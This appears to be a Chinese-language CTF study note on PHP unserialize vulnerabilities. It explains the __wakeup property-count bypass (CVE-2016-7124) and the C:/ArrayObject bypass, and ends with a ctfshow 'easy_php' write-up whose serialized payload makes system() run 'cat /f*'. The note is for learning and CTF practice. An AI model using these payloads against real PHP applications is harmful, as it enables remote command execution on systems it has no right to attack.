01什么是序列化和反序列化
序列化是将对象转化为字符串以便存储的一种方式。而反序列化恰好是序列化的逆过程,反序列化会将字符串转化为对象供程序使用。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
02什么是反序列化漏洞
当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
03序列化格式中的字母含义:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
04魔术方法


例题1(几乎不会涉及较复杂绕过):[SWPUCTF 2021 新生赛]ez_unserialize

__wakeup()方法漏洞
漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10
影响原因:若在对象的魔法函数中存在_wakeup方法,那么之后在调用unserilize()方法进行反序列化之前则会先调用 _wakeup方法
属性个数不匹配
利用方法:当序列化字符串中表示对象属性个数值大于真是属性个数时会跳出wakeup执行
方法原理:反序列化是一个正向检索的函数,虽然对于整体来说,数量不符,无法完成反序列化,但是可以尽可能检索能够完成反序列化的目标,所以这里数量改多了,会先依次反序列化已有个单位,直到无法检索到下一个目标才判定反序列化失败。 所以当然可以触发__destruct(),完成前面属性的赋值。
eg:[SWPUCTF 2021 新生赛]no_wakeup



unserialize3 反序列字符串绕过

C绕过wakeup
O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会
被自动调用。
跟着大佬走一遍(这部分几乎完全跟着大佬博客走着学了一遍):
引入
//引入
<?php
class AAA {
public function __wakeup() {
echo "__wakeup";
}
public function __construct(){
echo "__construct".PHP_EOL;//换行符
}
public function __destruct(){
echo "__destruct".PHP_EOL;
}
}
$a = serialize(new AAA());
$mod = str_replace("O:","C:",$a);//这里是将O:替换成c:为了绕过题目中不允许的地方
echo $mod.PHP_EOL;
$unserialized = unserialize($mod);
var_dump($unserialized);
?>
//回显
__construct
__destruct
C:3:"AAA":0:{}
Warning: Class AAA has no unserializer in E:\workspace2024\learn_php\test02.php on line 21
object(AAA)#1 (0) { } __destruct
O被替换成了C以后,生成的序列化字符串被认为可调用
扩展
C这个标识符,其实也是代表实现了 Serializable接口的类,因为实现Serializable接口,我们必须要重写serialize和unserialize方法
<?php
//定义的AAAA的类可以实现Serializable接口,意味着该实例可以被序列化和反序列化
class AAAA implements Serializable{
public $name="aa";
public $age="bb";
public function serialize() {//
return serialize(array(
'name' => $this->name,//这是一个键值对。键是字符串 'name',值是从当前对象的 $name 属性中取得的。$this 是PHP中的一个特殊变量,它引用当前对象。
'age' => $this->age
));
}
public function unserialize($data) {
$data = unserialize($data);
$this->name = $data['name'];//从反序列化后的数组$data中提取'name'键的值,并将其赋值给当前对象的$name属性。
$this->age = $data['age'];
}
public function __construct(){
echo "__construct\n";
}
public function __wakeup() {
echo "__wakeup()";
}
public function __destruct(){
echo 2222222;
}
}
$a = new AAAA();
$b = serialize($a);
echo $b.PHP_EOL;
$c = unserialize($b);
var_dump($c);
//回显
Deprecated: AAAA implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in E:\workspace2024\learn_php\test02.php on line 2
__construct C:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}} object(AAAA)#2 (2) { ["name"]=> string(2) "aa" ["age"]=> string(2) "bb" } 22222222222222

利用
<?php
// 获取所有已定义的类
$classes = get_declared_classes();
$serializableClasses = [];
// 遍历所有类
foreach ($classes as $class) {
// 创建反射类对象
$reflection = new ReflectionClass($class);
// 判断类是否实现了 Serializable 接口
if ($reflection->implementsInterface('Serializable')) {
// 将实现了 Serializable 接口的类添加到数组中
$serializableClasses[] = $class;
}
}
// 输出实现了 Serializable 接口的所有原生类
foreach ($serializableClasses as $class) {
echo $class . PHP_EOL;
}
?>

这里使用第一个,先生成一个,放到反序列化看看
<?php
class AAAA{
public $name=1;
public $age=2;
}
$a = new ArrayObject;
$a -> a = new AAAA;
echo serialize($a);
//C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}

<?php
class AAAA{
public $name="aa";
public $age="bb";
public function __wakeup() {
echo "__wakeup\n";
}
public function __construct(){
echo "__construct\n";
}
public function __destruct(){
echo 2222222;
}
}
$c = unserialize('C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}');
var_dump($c);
?>

最后发现并没有绕过wakeup,但是也可以当作一种绕过。emmm
eg:ctfshow愚人杯 easy_php
ctfshow愚人杯 easy_php
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
//说明不可以使用O:,或者a:开头
unserialize($data);
}
?>
wp:
<?php
class ctfshow{
public $ctfshow="cat /f*";//列出所有以f开头的文件
}
$A=new ArrayObject;//ArrayObject 是 PHP 的一个类,用于实现数组作为对象的接口。
$A->a=new ctfshow;
echo serialize($A);//输出代表 $A 对象的状态。这个字符串包含了 $A 对象及其属性 a(该属性是一个 ctfshow 对象)的信息。
?>
不知道为什么自己的一直没有实现,最后经大佬指点发现是php编译器问题最后换了一个方式找到答案。
C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}
payload:
?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}
参考:反序列化漏洞详解-CSDN博客v99pc_search_result_base8&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187
PHP序列化和反序列化-CSDN博客v99pc_search_result_base8&spm=1018.2226.3001.4187
PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)_wakeup的漏洞-CSDN博客
ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客





















